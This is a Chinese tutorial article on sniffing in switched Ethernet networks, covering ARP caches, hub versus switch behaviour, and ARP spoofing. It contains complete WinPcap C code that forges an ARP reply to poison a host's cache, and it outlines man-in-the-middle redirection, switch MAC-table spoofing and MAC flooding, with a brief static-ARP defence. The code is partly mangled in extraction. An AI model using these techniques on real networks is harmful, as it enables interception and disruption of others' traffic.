交换网络中的嗅探与ARP欺骗

[摘要]以太网内的嗅探（sniff）对于网络安全来说并不是什么好事，虽然对于网络管理员能够跟踪数据包并且发现网络问题，但是如果被破坏者利用的话，就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。 ARP缓存表假设这样一个网络： &...

以太网内的嗅探（sniff）对于网络安全来说并不是什么好事，虽然对于网络管理员能够跟踪数据包并且发现网络问题，但是如果被破坏者利用的话，就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。

ARP缓存表

假设这样一个网络：

             ——————————                     HUB                      ——————————                                                                                                             HostA   HostB   HostC

其中

A的地址为：IP：192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

B的地址为：IP：192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

C的地址为：IP：192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

假设B是属于一个嗅探爱好者的，比如A机器的ARP缓存：

     C:\>arp -aInterface: 192.168.10.1 on Interface 0x1000003  Internet Address      Physical Address      Type  192.168.10.3          CC-CC-CC-CC-CC-CC     dynamic

这是192.168.10.1机器上的ARP缓存表，假设， A进行一次ping 192.168.10.3操作， PING主机C，会查询本地的

ARP缓存表，找到C的IP地址的MAC地址，那么就会进行数据传输，目的地就是C 的MAC地址。如果A中没有C的ARP记

录，那么A首先要广播一次ARP请求，当C接收到A 的请求后就发送一个应答，应答中包含有C的MAC地址，然后A接

收到C的应答，就会更新本地的ARP缓存。接着使用这个MAC地址发送数据（由网卡附加MAC地址）。

因此，本地高速缓存的这个ARP表是本地网络流通的基础，而且这个缓存是动态的。

集线器网络(Hub-Based)

很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候， Hub只是简单地把这个数据包广播

到Hub的所有端口上。

这就是上面举例中的一种网络结构。

现在A需要发送TCP数据包给C。首先， A需要检查本地的ARP 缓存表，查看是否有IP为192.168.10.3即C的ARP记

录，如果没有那么A将要广播一个ARP请求，当C接收到这个请求后，就作出应答，然后A更新自己的ARP缓存表。并

且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包， Ethernet帧中就包含了C的MAC地址。当数据包传输

到HUB的时候， HUB直接把整个数据包广播到所有的端口，然后C就能够接收到A发送的数据包。

正因为HUB把数据广播到所有的端口，所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。

因此， Hub-Based的网络基本没有安全可言，嗅探在这样的网络中非常容易。

交换网络（Switched Lan）

交换机用来代替HUB，正是为了能够解决HUB的几个安全问题，其中就是能够来解决嗅探问题。 Switch不是把数

据包进行端口广播，它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此，在交换网络上，如果把上面

例子中的HUB换为Switch， B就不会接收到A发送给C的数据包，即便设置网卡为混杂模式，也不能进行嗅探。

ARP欺骗（ ARP spoofing）

ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候，就会对本地的ARP缓存

进行更新，将应答中的IP和MAC地址存储在ARP缓存中。因此，在上面的假设网络中， B向A发送一个自己伪造的ARP应

答，而这个应答中的数据为发送方IP地址是192.168.10.3（C的IP地址）， MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地

址本来应该是CC-CC-CC-CC-CC-CC，这里被伪造了）。当A接收到B伪造的ARP应答，就会更新本地的ARP缓存（A可不

知道被伪造了）。

现在A机器的ARP缓存更新了：

     C:\>arp -aInterface: 192.168.10.1 on Interface 0x1000003  Internet Address      Physical Address      Type  192.168.10.3          DD-DD-DD-DD-DD-DD     dynamic

这可不是小事。局域网的网络流通可不是根据IP地址进行，而是按照MAC地址进行传输。现在192.168.10.3的

MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3，网卡递交的MAC地址是

DD-DD-DD-DD-DD-DD，结果是什么呢？网络不通， A根本不能Ping通C！！

这就是一个简单的ARP欺骗。

我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。（http://winpcap.polito.it/）

winpcap是一个伟大而且开放的项目。 Windows环境下的nmap、snort、windump都是使用的winpcap。

     ///////////////////////////////////////////////////////////                ARP Sender////           Creator:    Refdom//           Email:      refdom@263.net//           Home Page:  www.opengram.com////           2002/4/7/////////////////////////////////////////////////////////#include "stdafx.h"#include "Mac.h"//GetMacAddr()， 我写的把字符串转换为MAC地址的函数， 就不列在这里了#include #include #define EPT_IP0x0800/* type: IP*/#define EPT_ARP0x0806/* type: ARP */#define EPT_RARP0x8035/* type: RARP */#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames  */#defineARP_REQUEST0x0001/* ARP request */#defineARP_REPLY0x0002/* ARP reply */#define Max_Num_Adapter 10#pragma pack(push, 1)typedef struct ehhdr {unsigned chareh_dst[6];/* destination ethernet addrress */unsigned chareh_src[6];/* source ethernet addresss */unsigned shorteh_type;/* ethernet pachet type*/}EHHDR, *PEHHDR;typedef struct arphdr{unsigned shortarp_hrd;/* format of hardware address */unsigned shortarp_pro;/* format of protocol address */unsigned chararp_hln;/* length of hardware address */unsigned chararp_pln;/* length of protocol address */unsigned shortarp_op;/* ARP/RARP operation */unsigned chararp_sha[6];/* sender hardware address */unsigned longarp_spa;/* sender protocol address */unsigned chararp_tha[6];/* target hardware address */unsigned longarp_tpa;/* target protocol address */}ARPHDR, *PARPHDR;typedef struct arpPacket{EHHDRehhdr;ARPHDRarphdr;} ARPPACKET, *PARPPACKET;#pragma pack(pop)int main(int argc, char* argv[]){static char AdapterList[Max_Num_Adapter][1024];char szPacketBuf[600];char MacAddr[6];LPADAPTERlpAdapter;LPPACKETlpPacket;WCHARAdapterName[2048];WCHAR*temp,*temp1;ARPPACKET ARPPacket;ULONG AdapterLength = 1024;int AdapterNum = 0;int nRetCode, i;//Get The list of Adapterif(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE){printf("Unable to retrieve the list of the adapters!\n");return 0;}temp = AdapterName;temp1=AdapterName;i = 0;while ((*temp != '\0')  (*(temp-1) != '\0')){if (*temp == '\0') {memcpy(AdapterList[i],temp1,(temp-temp1)*2);temp1=temp+1;i++;}temp++;}AdapterNum = i;for (i = 0; i < AdapterNum; i++)wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);printf("\n");//Default open the 0lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);        //取第一个网卡（假设啦）if (!lpAdapter    (lpAdapter->hFile == INVALID_HANDLE_VALUE)){nRetCode = GetLastError();printf("Unable to open the driver, Error Code : %lx\n", nRetCode);return 0;}lpPacket = PacketAllocatePacket();if(lpPacket == NULL){printf("\nError:failed to allocate the LPPACKET structure.");return 0;}ZeroMemory(szPacketBuf, sizeof(szPacketBuf));if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)){printf ("Get Mac address error!\n");}memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);    //源MAC地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);    //目的MAC地址。  （A的地址）ARPPacket.ehhdr.eh_type = htons(EPT_ARP);ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);ARPPacket.arphdr.arp_pro = htons(EPT_IP);ARPPacket.arphdr.arp_hln = 6;ARPPacket.arphdr.arp_pln = 4;ARPPacket.arphdr.arp_op = htons(ARP_REPLY);if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//伪造的C的MAC地址ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3");   //C的IP地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);  //目标A的MAC地址ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1");   //目标A的IP地址memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));PacketInitPacket(lpPacket, szPacketBuf, 60);if(PacketSetNumWrites(lpAdapter, 2)==FALSE){  printf("warning: Unable to send more than one packet in            a single write!\n");}if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE){printf("Error sending the packets!\n");return 0;}printf ("Send ok!\n");// close the adapter and exitPacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);return 0;}

于是A接收到一个被伪造的ARP应答。 A被欺骗了！！倘若在局域网中看某某机器不顺眼， ……

以太网中的嗅探太有作用了，但是交换网络对嗅探进行了限制，让嗅探深入程度大打折扣。不过，很容易就能

够发现，主机、Switch（动态更新地址表类型，下同）中的缓存表依然是（主要是）动态的。要在一个交换网络中

进行有效的嗅探工作（地下党？），需要采用对付各种缓存表的办法，连骗带哄，甚至乱踹，在上面的ARP欺骗基础

中我们就能够做到。

对目标进行ARP欺骗

就象上面程序中实现的一样，对目标A进行欺骗， A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如

果进行欺骗的时候，把C的MAC地址骗为BB-BB-BB-BB-BB-BB，于是A发送到C上的数据包都变成发送给B的了。这不正

好是B能够接收到A发送的数据包了么，嗅探成功。

A对这个变化一点都没有意识到，但是接下来的事情就让A产生了怀疑。因为A和C连接不上了！！B对接收到A发送

给C的数据包可没有转交给C。

做“man in the middle”,进行ARP重定向。打开B的IP转发功能， A发送过来的数据包，转发给C，好比一个路由

器一样。不过，假如B发送ICMP重定向的话就中断了整个计划。

直接进行整个包的修改转发，捕获到A发送给的数据包，全部进行修改后再转发给C，而C接收到的数据包完全认为

是从A发送来的。不过， C发送的数据包又直接传递给A，倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥

梁了。

对Switch的MAC欺骗

Switch上同样维护着一个动态的MAC缓存，它一般是这样，首先，交换机内部有一个对应的列表，交换机的端口对

应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址，这个表开始是空的，交换机从来往数据帧中学

习。举例来说，当Port 1口所接的计算机发出了一个数据帧，这帧数据从Port 1进入交换机，交换机就取这个数据帧

的原MAC地址AAAA，然后在地址表中记录：Port 1 <-> AAAA, 以后，所有发向MAC地址为AAAA的数据帧，就全从Port 1

口输出，而不会从其它的口输出。

跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了，那么对应的MAC和PORT就一样跟着改变，本来

不应该发送到嗅探器的数据结果发送过来了，这样也达到了嗅探的目的。修改本地（B）发送的数据包MAC地址为原来A的

MAC地址，当经过交换机的时候，交换机发现端口B对应的地址是机器A的MAC地址，于是就将会把A的MAC地址同端口B相对

应，从而把发送给A的数据从端口B传输了，本来这些应该是传送到端口A的。因此，从机器B就能够获得发送给A的数据。

但是，这里有一个问题， A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时，从刚才的欺骗中，

让交换机中一个MAC地址对应了多个端口，这种对于交换机处理还不清楚。还请多指教。

对Switch进行Flood

就象上面介绍Switch的MAC和Port对应关系形成的原理，因为MAC-PORT缓存表是动态更新的，那么让整个Switch的端

口表都改变，对Switch进行MAC地址欺骗的Flood，不断发送大量假MAC地址的数据包， Switch就更新MAC-PORT缓存，如果

能通过这样的办法把以前正常的MAC和Port对应的关系破坏了，那么Switch就会进行泛洪发送给每一个端口，让Switch基

本变成一个HUB，向所有的端口发送数据包，要嗅探的目的一样能够达到。

存在的问题， Switch对这种极限情况的处理，因为属于不正常情况，可能会引起包丢失情况。而且现在对这种极限情

况的Switch状态还很不了解。如果对网络通讯造成了大的破坏，这不属于正常的嗅探（嗅探也会引起一些丢失）。

对Switch进行各种手段的操作，需要小心，如果打开了端口保护，那么可能会让交换机关闭所有用户。因此，对交换

机这样的设备进行欺骗或者其他操作，还不如对一些上级设备进行欺骗，比如目标主机或者路由器。

至于上面关于嗅探的手段都是基于这个动态表进行的。因此，使用静态的ARP就能够进行防范了。对于WIN，使用

arp -s 来进行静态ARP的设置。

感谢winpcap这个开放项目，也感谢Dancefire提供的大量帮助和指正。我在网络设备上的了解还很不够，还请多指正。

上面是电脑上网安全的一些基础常识，学习了安全知识，几乎可以让你免费电脑中毒的烦扰。

……

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